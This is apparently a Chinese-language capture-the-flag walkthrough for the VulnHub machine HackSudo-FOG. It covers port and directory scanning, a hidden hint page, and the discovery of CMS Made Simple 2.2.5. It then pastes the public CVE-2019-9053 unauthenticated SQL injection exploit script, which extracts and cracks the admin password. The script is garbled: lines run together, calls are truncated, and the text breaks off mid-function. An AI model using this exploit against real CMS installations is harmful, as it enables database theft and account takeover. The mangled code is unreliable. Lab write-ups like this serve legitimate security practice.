下载地址:
,697/
靶场: VulnHub
靶机名称: HackSudo-FOG
难度: 简单
发布时间: 2021年5月14日
提示信息: 无
目标: 4个flag
攻击机:VMware kali 192.168.7.3靶机:Vbox linux IP自动获取
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到主机地址为192.168.7.130
扫描靶机开放的服务端口
sudo nmap -sv -p- 192.168.7.130 -ap
扫描到到多个开放端口21(ftp)、22(ssh)、80(http)、443(http)、2049(RPC)、3306(mysql),先看看80
192.168.7.130
首页上是一段视频,隐藏了一个链接"index1.html",访问看看
192.168.7.130/index1.html
打开后是一张图片,源码里有些注释,提示凯撒密码和一个github的链接
打开仓库后是一个把信息隐藏到wave文件中的工具这里有两个py文件,SoundStegno.py把信息隐藏到wave中,ExWave.py是从wave中将隐藏信息提取出来
gobuster dir -u 192.168.7.130 -w /usr/share/wordlists/dirbuster/ -t 50 -x php,html,txt,zip
扫描到2个目录和1个文本文件,先把他下载下来查看内容
wget 192.168.7.
看起来是个密码字典,也许可以暴破SSH或FTP,现在没有帐号,去看下fog目录,这个目录名和靶机名一样
192.168.7.130/fog
里面还有个fog目录
空的,再去看下cms目录
标题已经给出了这是cms made simple去找找有什么漏洞
/
漏洞还挺多,先确认下靶机上cms是什么版本,继续目录扫描
gobuster dir -w /usr/share/dirbuster/wordlists/ -u 192.168.7.130/cms -x php,html,txt
这里有个doc目录,继续扫描
gobuster dir -w /usr/share/dirbuster/wordlists/ -u 192.168.7.130/cms/doc -x php,html,txt
扫描后发现文件,访问查看cms版本
192.168.7.130/cms/
确认版本是2.2.5可以找相应的exp了
这里有一个小于2.2.10版本存在sql注入,下载这个试试
exp.py
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: /
# Software Link: /
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlibparser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. )")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)options, args = parser.parse_args()
if not options.url:print "[+] Specify an url target"print "[+] Example usage (no cracking password): exploit.py -u target-uri"print "[+] Example usage (with cracking password): exploit.py -u target-uri --crack -w /path-wordlist"print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."exit()url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""salt = ''
wordlist = ""
if options.wordlist:wordlist += options.wordlistdef crack_password():global passwordglobal outputglobal wordlistglobal saltdict = open(wordlist)for line adlines():line = place("n", "")beautify_print_try(line)if hashlib.md5(str(salt) + line).hexdigest() == password:output += "n[+] Password cracked: " + linebreakdict.close()def beautify_print_try(value):global outputprint "